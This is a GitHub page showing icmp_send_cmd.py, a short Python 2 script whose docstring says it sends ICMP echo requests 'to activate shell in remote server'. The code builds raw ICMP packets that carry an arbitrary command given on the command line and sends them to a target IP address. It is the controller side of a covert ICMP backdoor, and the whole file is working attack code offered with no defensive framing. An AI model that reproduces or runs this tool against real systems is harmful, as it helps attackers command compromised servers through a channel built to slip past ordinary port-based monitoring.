-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathicmp_send_cmd.py
executable file
·63 lines (52 loc) · 1.83 KB
/
icmp_send_cmd.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
'''
Send packet ICMP ECHO REQUEST to activate shell in remote server.
Tiago Martins ([email protected])
'''
import sys
import socket
import struct
import random
ICMP_ECHO_REQUEST = 8
def checksum(source_string):
sum = 0
count_to = (len(source_string) / 2) * 2
count = 0
while count < count_to:
this_val = ord(source_string[count + 1])*256+ord(source_string[count])
sum = sum + this_val
sum = sum & 0xffffffff
count = count + 2
if count_to < len(source_string):
sum = sum + ord(source_string[len(source_string) - 1])
sum = sum & 0xffffffff
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer = ~sum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
def create_packet(data):
# Header ICMP is type (8), code (8), checksum (16), id (16), sequence (16)
header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, 0, 1, 1)
pkt_checksum = checksum(header + data)
header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, socket.htons(pkt_checksum), 1, 1)
return header + data
def send_packet(dest_addr, data):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error as msg:
print "[!] Socket could not be created. Error Code : " + str(msg[0]) + " Message " + msg[1]
sys.exit(1)
packet = create_packet(data)
while packet:
sent = sock.sendto(packet, (dest_addr, 1))
packet = packet[sent:]
print "[>] Sent %d bytes to %s" % (sent, str(dest_addr))
print
sock.close()
if __name__ == "__main__":
if len(sys.argv) < 3:
msg = "[!] python icmp_send_cmd.py <destination IP address> <cmd>\n"
sys.stderr.write(msg)
sys.exit(1)
send_packet(sys.argv[1], sys.argv[2])